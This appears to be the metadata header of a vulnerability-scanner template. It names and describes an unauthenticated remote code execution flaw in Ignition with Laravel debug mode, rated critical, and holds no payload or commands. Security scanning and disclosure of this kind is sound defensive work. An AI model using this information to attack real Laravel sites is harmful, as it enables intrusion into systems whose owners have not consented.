info:

|
name: Laravel <= v8.4.2 Debug Mode - Remote Code Execution
|
|
author: z3bd,pdteam
|
|
severity: critical
|
|
description: Ignition before 2.5.2, as used in Laravel and other products, allows unauthenticated remote attackers to execute arbitrary code because of insecure usage of file_get_contents() and file_put_contents(). This is exploitable on sites using debug mode with Laravel before 8.4.2.
